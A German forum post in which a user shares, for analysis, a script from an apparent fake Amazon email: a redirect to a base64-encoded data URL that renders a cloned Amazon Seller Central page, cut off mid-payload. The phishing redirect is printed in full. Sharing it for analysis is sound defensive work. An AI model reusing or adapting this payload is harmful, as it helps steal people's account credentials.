Menü
Avatar von BulliBuh
  • BulliBuh

682 Beiträge seit 20.02.2016

E-Mail mit besonderem Inhalt von "Amazon"...

Habe da mal eine nette Mail bekommen, dessen Inhalt ich Euch zwecks Analyse zukommen lassen möchte. Anbei sei gesagt, dass dieser Inhalt in einem <script>-Tag steckt.

document.location.href="data:text/html;base64,PCFET0NUWVBFIGh0bWw+PGh0bWw+DQogICAgPGhlYWQ+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+dmFyIHVlX3QwPXVlX3QwfHwrbmV3IERhdGUoKTs8L3NjcmlwdD4NCjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4NCnZhciB1ZV9jc20gPSB3aW5kb3c7DQp1ZV9jc20udWVfaG9iPXVlX2NzbS51ZV9ob2J8fCtuZXcgRGF0ZSgpOyhmdW5jdGlvbihmLGEpe3ZhciBiPSJGQVRBTCIsYz17ZWM6MCxlY2Y6MCxwZWM6MCx0czowLGVybDpbXSxteGU6NTAsc3RhcnRUaW1lcjpmdW5jdGlvbigpe2MudHMrKztzZXRJbnRlcnZhbChmdW5jdGlvbigpe2YudWUmJihjLnBlYzxjLmVjKSYmZi51ZXgoImF0Iik7Yy5wZWM9Yy5lY30sMTAwMDApfX07ZnVuY3Rpb24gZShnKXtpZihjLmVjPmMubXhlKXtyZXR1cm59Yy5lYysrO2lmKCFnLmxvZ0xldmVsfHwoZy5sb2dMZXZlbD09Yikpe2MuZWNmKyt9Zy5wYWdlVVJMPSIiKyhhLmxvY2F0aW9uP2EubG9jYXRpb24uaHJlZjoiIik7Yy5lcmwucHVzaChnKX1mdW5jdGlvbiBkKGwsayxnLGksaCl7dmFyIGo9e206bCxmOmssbDpnLGM6IiIraSxlcnI6aCxmcm9tT25FcnJvcjoxLGFyZ3M6YXJndW1lbnRzfTtmLnVlTG9nRXJyb3Ioaik7cmV0dXJuIGZhbHNlfWQuc2tpcFRyYWNlPTE7ZS5za2lwVHJhY2U9MTtmLnVlTG9nRXJyb3I9ZTtmLnVlX2Vycj1jO2Eub25lcnJvcj1kfSkodWVfY3NtLHdpbmRvdyk7dWVfY3NtLnVlX2hvZT0rbmV3IERhdGUoKTsNCg0KDQp2YXIgdWVfaWQ9J00ySjZERlBaWkM5WDU2NE5GQ1NaJywNCnVlX3NpZD0nMTc1LTY5NDcxMDgtMzAyMzkxMicsDQp1ZV9taWQ9J0FUVlBES0lLWDBERVInLA0KdWVfc249J3NlbGxlcmNlbnRyYWwuYW1hem9uLmNvbScsDQp1ZV91cmw9Jy9ncC91ZWRhdGEvdW5zdGlja3kvMTc1LTY5NDcxMDgtMzAyMzkxMi9Ob1BhZ2VUeXBlL250cG9mZnJ3JywNCnVlX2Z1cmw9J2Zscy1uYS5hbWF6b24uY29tJywNCnVlX25hdnRpbWluZz0xLA0KdWVfbG9nX2lkeD0wLA0KdWVfbG9nX2Y9MCwNCnVlX2Zjc249MSwNCnVlX2N0YjB0Zj0wLA0KdWVfZnN0PTAsDQp1ZV9mbmE9MCwNCnVlX3N3aT0wLA0KdWVfc3dtPTEsDQp1ZV91ZmlhPTAsDQp1ZV9wdXVsPTAsDQp1ZV9sZ3VuZW5jPTAsDQp1ZV9pc3J3PTAsDQp1ZV9zdGZvcnVybD0wLA0KdWVfb25iZnVsPTAsDQp1ZV9mcGY9Jy8vZmxzLW5hLmFtYXpvbi5jb20vMS9iYXRjaC8xL09QL0FUVlBES0lLWDBERVI6MTc1LTY5NDcxMDgtMzAyMzkxMjpNMko2REZQWlpDOVg1NjRORkNTWiR1ZWRhdGE9czonOw0KaWYgKCF3aW5kb3cudWVfY3NtKSB7dmFyIHVlX2NzbSA9IHdpbmRvdzt9DQp1ZV9jc20udWVfaG9iPXVlX2NzbS51ZV9ob2J8fCtuZXcgRGF0ZTtmdW5jdGlvbiB1ZV92aXooKXsoZnVuY3Rpb24oZCxqLGcpe3ZhciBpPTAsYixsLGUsYSxjPVsiIiwibW96IiwibXMiLCJvIiwid2Via2l0Il0saz0wLGY9MjAsaD0iYWRkRXZlbnRMaXN0ZW5lciI7d2hpbGUoKGI9Yy5wb3AoKSkmJiFrKXtsPShiP2IrIkgiOiJoIikrImlkZGVuIjtpZihrPXR5cGVvZiBqW2xdPT0iYm9vbGVhbiIpe2U9YisidmlzaWJpbGl0eWNoYW5nZSI7YT1iKyJWaXNpYmlsaXR5U3RhdGUifX1mdW5jdGlvbiBtKHEpe2lmKChkLnVlLnZpei5sZW5ndGg8Zikpe3ZhciBwPXEudHlwZSxuPXEub3JpZ2luYWxFdmVudDtpZighKC9eZm9jdXMuLy50ZXN0KHApJiZuJiYobi50b0VsZW1lbnR8fG4uZnJvbUVsZW1lbnR8fG4ucmVsYXRlZFRhcmdldCkpKXt2YXIgcj1qW2FdfHwocD09ImJsdXIifHxwPT0iZm9jdXNvdXQiPyJoaWRkZW4iOiJ2aXNpYmxlIiksbz0rbmV3IERhdGUtZC51ZS50MDtkLnVlLnZpei5wdXNoKHIrIjoiK28pO2lmKHI9PSJ2aXNpYmxlIil7aWYodWUuaWVsJiYodWUuaWVsLmxlbmd0aD4wKSYmcj09InZpc2libGUiJiYhaSl7dWV4KCJhdCIpfWk9MX19fX1tKHt9KTtpZihrKXtqW2hdKGUsbSwwKX19KSh1ZV9jc20sZG9jdW1lbnQsd2luZG93KX11ZV9jc20udWVfaG9lPStuZXcgRGF0ZTsNCnVlX2NzbS51ZV9ob2I9dWVfY3NtLnVlX2hvYnx8K25ldyBEYXRlKCk7KGZ1bmN0aW9uKGUsail7ZS51ZWluaXQ9KGUudWVpbml0fHwwKSsxO2UudWU9e3QwOmouYVBhZ2VTdGFydHx8ZS51ZV90MCxpZDplLnVlX2lkLHVybDplLnVlX3VybCxhOiIiLGI6IiIsaDp7fSxyOntsZDowLG9lOjAsdWw6MH0sczoxLHQ6e30sc2M6e30saWVsOltdLGllbGY6W10sZmNfaWR4Ont9LHZpejpbXSx2OjMyfTtmdW5jdGlvbiBmKGspe3JldHVybiBlLnVlX2ZwZitlbmNvZGVVUklDb21wb25lbnQoaykrIjoiKygrbmV3IERhdGUoKS1lLnVlX3QwKX1lLnVlLnRhZ0M9ZnVuY3Rpb24oKXt2YXIgaz1bXTtyZXR1cm4gZnVuY3Rpb24obCl7aWYobCl7ay5wdXNoKGwpfXJldHVybiBrLnNsaWNlKDApfX07ZS51ZS50YWc9ZS51ZS50YWdDKCk7ZS51ZS5pZnI9KChqLnRvcCE9PWouc2VsZil8fChqLmZyYW1lRWxlbWVudCkpPzE6MDtmdW5jdGlvbiBjKG0scCxyLG8pe2lmKGUudWVfbG9nX2YmJmUudWUubG9nKXtlLnVlLmxvZyh7ZjoidWV0IixlbjptLHM6cCxzbzpyLHRvOm99LCJjc20iKX12YXIgcT1vfHwobmV3IERhdGUoKSkuZ2V0VGltZSgpO3ZhciBrPSFwJiZ0eXBlb2YgciE9InVuZGVmaW5lZCI7aWYoayl7cmV0dXJufWlmKG0pe3ZhciBuPXA/ZCgidCIscCl8fGQoInQiLHAse30pOmUudWUudDtuW21dPXE7Zm9yKHZhciBsIGluIHIpe2QobCxwLHJbbF0pfX1yZXR1cm4gcX1mdW5jdGlvbiBkKGwsbSxuKXtpZihlLnVlX2xvZ19mJiZlLnVlLmxvZyl7ZS51ZS5sb2coe2Y6InVlcyIsazpsLHM6bSx2Om59LCJjc20iKX12YXIgbyxrO2lmKGwpe289az1lLnVlO2lmKG0mJm0hPW8uaWQpe2s9by5zY1ttXTtpZighayl7az17fTtuPyhvLnNjW21dPWspOmt9fW89bj8oa1tsXT1uKTprW2xdfXJldHVybiBvfWZ1bmN0aW9uIGgobyxwLG4sbCxrKXtpZihlLnVlX2xvZ19mJiZlLnVlLmxvZyl7ZS51ZS5sb2coe2Y6InVlaCIsZWs6b30sImNzbSIpfXZhciBtPSJvbiIrbixxPXBbbV07aWYodHlwZW9mKHEpPT0iZnVuY3Rpb24iKXtpZihvKXtlLnVlLmhbb109cX19ZWxzZXtxPWZ1bmN0aW9uKCl7fX1wW21dPWs/ZnVuY3Rpb24ocil7bChyKTtxKHIpfTpmdW5jdGlvbihyKXtxKHIpO2wocil9O3BbbV0uaXNVZWg9MX1mdW5jdGlvbiBiKHUsbyx0KXtpZihlLnVlX2xvZ19mJiZlLnVlLmxvZyl7ZS51ZS5sb2coe2Y6InVleCIsZW46dSxzOm8sc286dH0sImNzbSIpfWZ1bmN0aW9uIG0oUSxPKXt2YXIgTT1bUV0sSD0wLE49e30sRjtpZihPKXtNLnB1c2goIm09MSIpO05bT109MX1lbHNle049ZS51ZS5zY31mb3IodmFyIEcgaW4gTil7dmFyIEk9ZCgid2IiLEcpLEw9ZCgidCIsRyl8fHt9LEs9ZCgidDAiLEcpfHxlLnVlLnQwO2lmKE98fEk9PTIpe3ZhciBQPUk/SCsrOiIiO00ucHVzaCgic2MiK1ArIj0iK0cpO2Zvcih2YXIgSiBpbiBMKXtpZihKLmxlbmd0aDw9MyYmTFtKXSl7TS5wdXNoKEorUCsiPSIrKExbSl0tSykpfX1NLnB1c2goInQiK1ArIj0iK0xbdV0pO2lmKGQoImN0YiIsRyl8fGQoIndiIixHKSl7Rj0xfX19aWYoIXAmJkYpe00ucHVzaCgiY3RiPTEiKX1yZXR1cm4gTS5qb2luKCImIil9ZnVuY3Rpb24geChGLEosTSxJKXtpZighRil7cmV0dXJufXZhciBLPW5ldyBJbWFnZSgpLE49IUl8fCFlLnVlLmxvZ3x8IWouYW16bkpRfHwoai5hbXpuSlEmJmouYW16bkpRLk9rKXx8ZS51ZV9sZ3VuZW5jLEg9KCFlLnVlX3B1dWx8fEohPSJ1bCIpLEc9ZS51ZV9lcnI7ZnVuY3Rpb24gTygpe2lmKCFlLnVlLmIpe3JldHVybn12YXIgUD1lLnVlLmI7ZS51ZS5iPSIiO3goUCxKLE0sMSl9aWYoZS51ZS5iJiYhZS51ZV9zd2kpe0sub25sb2FkPU99aWYoTiYmSCl7ZS51ZS5pZWwucHVzaChLKTtLLnNyYz1GfWlmKGUudWUubG9nJiYoTXx8SXx8ZS51ZV9jdGIwdGYpKXtpZihlLnVlLmxvZyYmZS51ZS5sb2cuaXNTdHViJiZlLnVlX3N0Zm9ydXJsJiZlLnVlX2ZwZil7Sz1uZXcgSW1hZ2UoKTt2YXIgTD1mKEYpO2UudWUuaWVsLnB1c2goTCk7Sy5zcmM9TH1lbHNle2UudWUubG9nKEYsInVlZGF0YSIse246MX0pO2UudWUuaWVsZi5wdXNoKEYpfX1pZihHJiYhRy50cyl7Ry5zdGFydFRpbWVyKCl9aWYoZS51ZV9zd2kpe08oKX19ZnVuY3Rpb24gRChGKXtpZighdWUuY29sbGVjdGVkKXt2YXIgSD1GLnRpbWluZyxHPUYubmF2aWdhdGlvbjtpZihIKXtlLnVlLnQubmFfPUgubmF2aWdhdGlvblN0YXJ0O2UudWUudC51bF89SC51bmxvYWRFdmVudFN0YXJ0O2UudWUudC5fdWw9SC51bmxvYWRFdmVudEVuZDtlLnVlLnQucmRfPUgucmVkaXJlY3RTdGFydDtlLnVlLnQuX3JkPUgucmVkaXJlY3RFbmQ7ZS51ZS50LmZlXz1ILmZldGNoU3RhcnQ7ZS51ZS50LmxrXz1ILmRvbWFpbkxvb2t1cFN0YXJ0O2UudWUudC5fbGs9SC5kb21haW5Mb29rdXBFbmQ7ZS51ZS50LmNvXz1ILmNvbm5lY3RTdGFydDtlLnVlLnQuX2NvPUguY29ubmVjdEVuZDtlLnVlLnQuc2NfPUguc2VjdXJlQ29ubmVjdGlvblN0YXJ0O2UudWUudC5ycV89SC5yZXF1ZXN0U3RhcnQ7ZS51ZS50LnJzXz1ILnJlc3BvbnNlU3RhcnQ7ZS51ZS50Ll9ycz1ILnJlc3BvbnNlRW5kO2UudWUudC5kbF89SC5kb21Mb2FkaW5nO2UudWUudC5kaV89SC5kb21JbnRlcmFjdGl2ZTtlLnVlLnQuZGVfPUguZG9tQ29udGVudExvYWRlZEV2ZW50U3RhcnQ7ZS51ZS50Ll9kZT1ILmRvbUNvbnRlbnRMb2FkZWRFdmVudEVuZDtlLnVlLnQuX2RjPUguZG9tQ29tcGxldGU7ZS51ZS50LmxkXz1ILmxvYWRFdmVudFN0YXJ0O2UudWUudC5fbGQ9SC5sb2FkRXZlbnRFbmR9aWYoRyl7ZS51ZS50LnR5PUcudHlwZStlLnVlLnQwO2UudWUudC5yYz1HLnJlZGlyZWN0Q291bnQrZS51ZS50MDtpZihlLnVlLnRhZyl7ZS51ZS50YWcoRy5yZWRpcmVjdENvdW50PyJyZWRpcmVjdCI6Im5vbnJlZGlyZWN0Iil9fWUudWUuY29sbGVjdGVkPTF9fWlmKCFvJiYodHlwZW9mIHQhPSJ1bmRlZmluZWQiKSl7cmV0dXJufWZvcih2YXIgayBpbiB0KXtkKGssbyx0W2tdKX1jKCJwYyIsbyx0KTt2YXIgej1kKCJpZCIsbyl8fGUudWUuaWQscj1lLnVlLnVybCsiPyIrdSsiJnY9IitlLnVlLnYrIiZpZD0iK3oscD1kKCJjdGIiLG8pfHxkKCJ3YiIsbyk7aWYocCl7cis9IiZjdGI9IitwfWlmKGUudWVpbml0PjEpe3IrPSImaWM9IitlLnVlaW5pdH12YXIgQz1qLnBlcmZvcm1hbmNlfHxqLndlYmtpdFBlcmZvcm1hbmNlLEE9ZS51ZS5iZmluaSxzPUMmJkMubmF2aWdhdGlvbiYmQy5uYXZpZ2F0aW9uLnR5cGU9PTIscT1vJiYobyE9eikmJmQoImN0YiIsbyksbDtpZighcSl7aWYoQSYmQT4xKXtyKz0iJmJmdD0iKyhBLTEpO3IrPSImYmZmb3JtPTEifWVsc2V7aWYocyl7cis9IiZiZnQ9MSJ9fWlmKHMpe3IrPSImYmZudD0xIn19aWYoZS51ZS5fZmkmJnU9PSJhdCImJighb3x8bz09eikpe3IrPWUudWUuX2ZpKCl9aWYoKHU9PSJsZCJ8fHU9PSJ1bCIpJiYoIW98fG89PXopKXtpZih1PT0ibGQiKXtpZihqLm9uYmVmb3JldW5sb2FkJiZqLm9uYmVmb3JldW5sb2FkLmlzVWVoKXtqLm9uYmVmb3JldW5sb2FkPW51bGx9dWUuci51bD1lLnVlX29uYmZ1bDtpZihlLnVlX29uYmZ1bD09Myl7aSgiYmVmb3JldW5sb2FkIixlLm9uVWwpfWlmKGRvY3VtZW50LnVlX2JhY2tkZXRlY3QmJmRvY3VtZW50LnVlX2JhY2tkZXRlY3QudWVfYmFjayl7ZG9jdW1lbnQudWVfYmFja2RldGVjdC51ZV9iYWNrLnZhbHVlKyt9aWYoZS5fdWVzcyl7bD1lLl91ZXNzKCl9fWlmKGUudWVfbmF2dGltaW5nJiZDJiZDLnRpbWluZyl7ZCgiY3RiIix6LCIxIik7aWYoZS51ZV9uYXZ0aW1pbmc9PTEpe2UudWUudC50Yz1DLnRpbWluZy5uYXZpZ2F0aW9uU3RhcnR9fWlmKEMpe0QoQyl9ZS51ZS50LmhvYj1lLnVlX2hvYjtlLnVlLnQuaG9lPWUudWVfaG9lO2lmKGUudWUuaWZyKXtyKz0iJmlmcj0xIn19Yyh1LG8sdCk7dmFyIHk9KHU9PSJsZCImJm8mJmQoIndiIixvKSksQj0xO2lmKHkpe2QoIndiIixvLDIpfWZvcih2YXIgdyBpbiBlLnVlLnNjKXtpZihkKCJ3YiIsdyk9PTEpe0I9MDticmVha319aWYoeSl7aWYoIWUudWUucyYmKGUudWVfc3dpfHwoQiYmIWUudWVfc3dpKSkpe3I9bShyLG51bGwpfWVsc2V7cmV0dXJufX1lbHNle2lmKChCJiYhZS51ZV9zd2kpfHxlLnVlX3N3aSl7dmFyIEU9bShyLG51bGwpO2lmKEUhPXIpe2UudWUuYj1FfX1pZihsKXtyKz1sfXI9bShyLG98fGUudWUuaWQpfWlmKGUudWUuYnx8eSl7Zm9yKHZhciB3IGluIGUudWUuc2Mpe2lmKGQoIndiIix3KT09Mil7ZGVsZXRlIGUudWUuc2Nbd119fX12YXIgdj0wO2lmKCF5KXtlLnVlLnM9MDt2YXIgbj1lLnVlX2VycjtpZihuJiZuLmVjPjAmJihuLnBlYzxuLmVjKSl7bi5wZWM9bi5lYztyKz0iJmVjPSIrbi5lYysiJmVjZj0iK24uZWNmfXY9ZCgiY3RiIixvKTtkKCJ0IixvLHt9KX1pZighai5hbXpuSlEmJmUudWUudGFnKXtlLnVlLnRhZygibm9BbXpuSlEiKX1pZihlLnVlLmxvZyYmZS51ZS5sb2cuaXNTdHViJiZlLnVlLnRhZyYmdT09InVsIil7ZS51ZS50YWcoIm5vRm9yZXN0ZXIiKX1pZihyJiZlLnVlLnRhZyYmZS51ZS50YWcoKS5sZW5ndGg+MCl7cis9IiZjc210YWdzPSIrZS51ZS50YWcoKS5qb2luKCJ8Iik7ZS51ZS50YWc9ZS51ZS50YWdDKCl9aWYociYmZS51ZS52aXomJmUudWUudml6Lmxlbmd0aD4wKXtyKz0iJnZpej0iK2UudWUudml6LmpvaW4oInwiKTtlLnVlLnZpej1bXX1lLnVlLmE9cjt4KHIsdSx2LHkpfWZ1bmN0aW9uIGEoayxsLG0pe209bXx8ajtpZihtLmFkZEV2ZW50TGlzdGVuZXIpe20uYWRkRXZlbnRMaXN0ZW5lcihrLGwsZmFsc2UpfWVsc2V7aWYobS5hdHRhY2hFdmVudCl7bS5hdHRhY2hFdmVudCgib24iK2ssbCl9fX11ZS5hdHRhY2g9YTtmdW5jdGlvbiBpKGssbCxtKXttPW18fGo7aWYobS5yZW1vdmVFdmVudExpc3RlbmVyKXttLnJlbW92ZUV2ZW50TGlzdGVuZXIoayxsKX1lbHNle2lmKG0uZGV0YWNoRXZlbnQpe20uZGV0YWNoRXZlbnQoIm9uIitrLGwpfX19dWUuZGV0YWNoPWk7ZnVuY3Rpb24gZygpe2lmKGUudWVfbG9nX2YmJmUudWUubG9nKXtlLnVlLmxvZyh7ZjoidWVpIn0sImNzbSIpfXZhciBtPWUudWUucjtmdW5jdGlvbiBsKG8pe3JldHVybiBmdW5jdGlvbigpe2lmKCFtW29dKXttW29dPTE7YihvKX19fWUub25MZD1sKCJsZCIpO2Uub25MZEVuZD1sKCJsZCIpO2Uub25VbD1sKCJ1bCIpO3ZhciBrPXtzdG9wOmwoIm9zIil9O2lmKCFqLmNocm9tZSl7ay5iZWZvcmV1bmxvYWQ9ZS5vblVsfWZvcih2YXIgbiBpbiBrKXtoKDAsaixuLGtbbl0pfWUudWVfdml6JiZ1ZV92aXooKTthKCJsb2FkIixlLm9uTGQpO2lmKGUudWVfb25iZnVsPT0zKXthKCJiZWZvcmV1bmxvYWQiLGUub25VbCl9YygidWUiKX11ZS5yZXNldD1mdW5jdGlvbihsLGspe2lmKCFsKXtyZXR1cm59ZS51ZV9jZWwmJmUudWVfY2VsLnJlc2V0KCk7ZS51ZS50MD0rbmV3IERhdGUoKTtlLnVlLnJpZD1sO2UudWUuaWQ9bDtlLnVlLmZjX2lkeD17fTtlLnVlLnZpej1bXX07ZS51ZWk9ZztlLnVlaD1oO2UudWVzPWQ7ZS51ZXQ9YztlLnVleD1iO2coKX0pKHVlX2NzbSx3aW5kb3cpO3VlX2NzbS51ZV9ob2U9K25ldyBEYXRlKCk7DQoNCg0KdWVfY3NtLnVlX2hvYj11ZV9jc20udWVfaG9ifHwrbmV3IERhdGUoKTsoZnVuY3Rpb24oYil7dmFyIGE9Yi51ZTthLnJpZD1iLnVlX2lkO2Euc2lkPWIudWVfc2lkO2EubWlkPWIudWVfbWlkO2EuZnVybD1iLnVlX2Z1cmw7YS5zbj1iLnVlX3NuO2EubHI9W107YS5sb2c9ZnVuY3Rpb24oZSxkLGMpe2lmKGEubHIubGVuZ3RoPT01MDApe3JldHVybn1hLmxyLnB1c2goWyJsIixlLGQsYyxhLmQoKSxhLnJpZF0pfTthLmxvZy5pc1N0dWI9MTthLmQ9ZnVuY3Rpb24oYyl7cmV0dXJuICtuZXcgRGF0ZS0oYz8wOmEudDApfX0pKHVlX2NzbSk7dWVfY3NtLnVlX2hvZT0rbmV3IERhdGUoKTsNCjwvc2NyaXB0Pg0KDQogICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+DQoNCiAgICAgICAgPHRpdGxlPkFtYXpvbiBTZWxsZXIgQ2VudHJhbDwvdGl0bGU+DQoNCg0KICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgICAgICAgICB3aW5kb3cubmFtZT0icmFpbmllcldpbmRvdyI7DQoNCiAgICAgICAgICAgIHZhciBsb2dvSW1hZ2UgPSBuZXcgSW1hZ2UoKTsNCiAgICAgICAgICAgIGxvZ29JbWFnZS5vbmxvYWQgPSBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICBpZiAodHlwZW9mIHVldD09PSdmdW5jdGlvbicpe3VldCgnY2YnKTt9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGxvZ29JbWFnZS5zcmMgPSAnaHR0cHM6Ly9pbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tL2ltYWdlcy9HLzAxL3JhaW5pZXIvbmF2L3NjLXVuaWZpZWQuX1YzNDExNjUxMzRfLnBuZyc7DQogICAgICAgIDwvc2NyaXB0Pg0KDQogICAgICAgIA0KICAgIDwhLS1baWYgbHQgSUUgOF0+DQogICAgICAgIDxzdHlsZSBpZD0iY2ptYXNrIj5ib2R5IHtkaXNwbGF5OiBub25lICFpbXBvcnRhbnQ7fTwvc3R5bGU+DQogICAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgICAgICAgIGlmIChzZWxmLmRvY3VtZW50LmRvbWFpbiA9PT0gdG9wLmRvY3VtZW50LmRvbWFpbikgew0KICAgICAgICAgICAgICAgIHZhciBtYXNrID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NqbWFzaycpOw0KICAgICAgICAgICAgICAgIG1hc2sucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChtYXNrKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgdG9wLmxvY2F0aW9uID0gc2VsZi5sb2NhdGlvbi5ocmVmOw0KICAgICAgICAgICAgfQ0KICAgICAgICA8L3NjcmlwdD4NCiAgICA8IVtlbmRpZl0tLT4NCg0KICAgICAgICANCiAgICAgICAgDQoNCiAgICAgICAgDQo8bGluayB0eXBlPSd0ZXh0L2NzcycgaHJlZj0naHR0cHM6Ly9pbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tL2ltYWdlcy9HLzAxL2Jyb3dzZXItc2NyaXB0cy9wb3BvdmVyL3BvcG92ZXItMzUyNzQ1MjgwOS5fVjFfLmNzcycgcmVsPSdzdHlsZXNoZWV0Jz4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoNCi8qIG5vbi1zcHJpdGVkICovDQouYXBfcG9wb3Zlcl91bnNwcml0ZWQgLmFwX2JvZHkgICAuYXBfbGVmdCAgIHsgYmFja2dyb3VuZC1pbWFnZTogdXJsKGh0dHBzOi8vaW1hZ2VzLW5hLnNzbC1pbWFnZXMtYW1hem9uLmNvbS9pbWFnZXMvRy8wMS9qYXZhc2NyaXB0cy9saWIvcG9wb3Zlci9pbWFnZXMvcG9fbGVmdF8xNy5fVjI0ODE0NDk3N18ucG5nKTsgfQ0KLmFwX3BvcG92ZXJfdW5zcHJpdGVkIC5hcF9ib2R5ICAgLmFwX3JpZ2h0ICB7IGJhY2tncm91bmQtaW1hZ2U6IHVybChodHRwczovL2ltYWdlcy1uYS5zc2wtaW1hZ2VzLWFtYXpvbi5jb20vaW1hZ2VzL0cvMDEvamF2YXNjcmlwdHMvbGliL3BvcG92ZXIvaW1hZ2VzL3BvX3JpZ2h0XzE3Ll9WMjQ4MTQ0OTc5Xy5wbmcpOyB9DQouYXBfcG9wb3Zlcl91bnNwcml0ZWQgLmFwX2hlYWRlciAuYXBfbGVmdCAgIHsgYmFja2dyb3VuZC1pbWFnZTogdXJsKGh0dHBzOi8vaW1hZ2VzLW5hLnNzbC1pbWFnZXMtYW1hem9uLmNvbS9pbWFnZXMvRy8wMS9qYXZhc2NyaXB0cy9saWIvcG9wb3Zlci9pbWFnZXMvcG9fdG9wX2xlZnQuX1YyNjUxMTAwODdfLnBuZyk7IH0NCi5hcF9wb3BvdmVyX3Vuc3ByaXRlZCAuYXBfaGVhZGVyIC5hcF9yaWdodCAgeyBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cHM6Ly9pbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tL2ltYWdlcy9HLzAxL2phdmFzY3JpcHRzL2xpYi9wb3BvdmVyL2ltYWdlcy9wb190b3BfcmlnaHQuX1YyNjUxMTAwODdfLnBuZyk7IH0NCi5hcF9wb3BvdmVyX3Vuc3ByaXRlZCAuYXBfaGVhZGVyIC5hcF9taWRkbGUgeyBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cHM6Ly9pbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tL2ltYWdlcy9HLzAxL2phdmFzY3JpcHRzL2xpYi9wb3BvdmVyL2ltYWdlcy9wb190b3AuX1YyNjUxMTAwODZfLnBuZyk7IH0NCi5hcF9wb3BvdmVyX3Vuc3ByaXRlZCAuYXBfZm9vdGVyIC5hcF9sZWZ0ICAgeyBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cHM6Ly9pbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tL2ltYWdlcy9HLzAxL2phdmFzY3JpcHRzL2xpYi9wb3BvdmVyL2ltYWdlcy9wb19ib3R0b21fbGVmdC5fVjI2NTExMDA4NF8ucG5nKTsgfQ0KLmFwX3BvcG92ZXJfdW5zcHJpdGVkIC5hcF9mb290ZXIgLmFwX3JpZ2h0ICB7IGJhY2tncm91bmQtaW1hZ2U6IHVybChodHRwczovL2ltYWdlcy1uYS5zc2wtaW1hZ2VzLWFtYXpvbi5jb20vaW1hZ2VzL0cvMDEvamF2YXNjcmlwdHMvbGliL3BvcG92ZXIvaW1hZ2VzL3BvX2JvdHRvbV9yaWdodC5fVjI2NTExMDA4N18ucG5nKTsgfQ0KLmFwX3BvcG92ZXJfdW5zcHJpdGVkIC5hcF9mb290ZXIgLmFwX21pZGRsZSB7IGJhY2tncm91bmQtaW1hZ2U6IHVybChodHRwczovL2ltYWdlcy1uYS5zc2wtaW1hZ2VzLWFtYXpvbi5jb20vaW1hZ2VzL0cvMDEvamF2YXNjcmlwdHMvbGliL3BvcG92ZXIvaW1hZ2VzL3BvX2JvdHRvbS5fVjI2NTExMDA4NF8ucG5nKTsgfQ0KDQovKiBFdmVyeXRoaW5nIGVsc2UgLS0gc3ByaXRlZCAqLw0KLmFwX3BvcG92ZXJfc3ByaXRlZCAuYXBfYm9keSAuYXBfbGVmdCwgDQouYXBfcG9wb3Zlcl9zcHJpdGVkIC5hcF9ib2R5IC5hcF9yaWdodCB7DQogICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKGh0dHBzOi8vaW1hZ2VzLW5hLnNzbC1pbWFnZXMtYW1hem9uLmNvbS9pbWFnZXMvRy8wMS9qYXZhc2NyaXB0cy9saWIvcG9wb3Zlci9pbWFnZXMvbGlnaHQvc3ByaXRlLXYuX1YyMTkzMjYyODNfLnBuZyk7DQp9DQoNCg0KLmFwX3BvcG92ZXJfc3ByaXRlZCAuYXBfaGVhZGVyIC5hcF9sZWZ0LCANCi5hcF9wb3BvdmVyX3Nwcml0ZWQgLmFwX2hlYWRlciAuYXBfcmlnaHQsDQouYXBfcG9wb3Zlcl9zcHJpdGVkIC5hcF9oZWFkZXIgLmFwX21pZGRsZSwNCi5hcF9wb3BvdmVyX3Nwcml0ZWQgLmFwX2Zvb3RlciAuYXBfbGVmdCwgDQouYXBfcG9wb3Zlcl9zcHJpdGVkIC5hcF9mb290ZXIgLmFwX3JpZ2h0LA0KLmFwX3BvcG92ZXJfc3ByaXRlZCAuYXBfZm9vdGVyIC5hcF9taWRkbGUsDQouYXBfcG9wb3Zlcl9zcHJpdGVkIC5hcF9jbG9zZWJ1dHRvbiB7DQogICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKGh0dHBzOi8vaW1hZ2VzLW5hLnNzbC1pbWFnZXMtYW1hem9uLmNvbS9pbWFnZXMvRy8wMS9qYXZhc2NyaXB0cy9saWIvcG9wb3Zlci9pbWFnZXMvbGlnaHQvc3ByaXRlLWguX1YyMTkzMjYyODBfLnBuZyk7DQp9DQoNCi5hcF9wb3BvdmVyX3Nwcml0ZWQgLmFwX2JvZHkgLmFwX3JpZ2h0LWFycm93LCAuYXBfcG9wb3Zlcl9zcHJpdGVkIC5hcF9ib2R5IC5hcF9sZWZ0LWFycm93IHsNCiAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cHM6Ly9pbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tL2ltYWdlcy9HLzAxL2phdmFzY3JpcHRzL2xpYi9wb3BvdmVyL2ltYWdlcy9saWdodC9zcHJpdGUtYXJyb3ctdi5fVjIxOTMyNjI4Nl8ucG5nKTsNCn0NCg0KPC9zdHlsZT4NCg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQoNCnZhciBhbXpuSlEsalF1ZXJ5UGF0Y2hJUGFkT2Zmc2V0PWZhbHNlOw0KKGZ1bmN0aW9uKCkgew0KICBmdW5jdGlvbiBmKHgpIHtyZXR1cm4g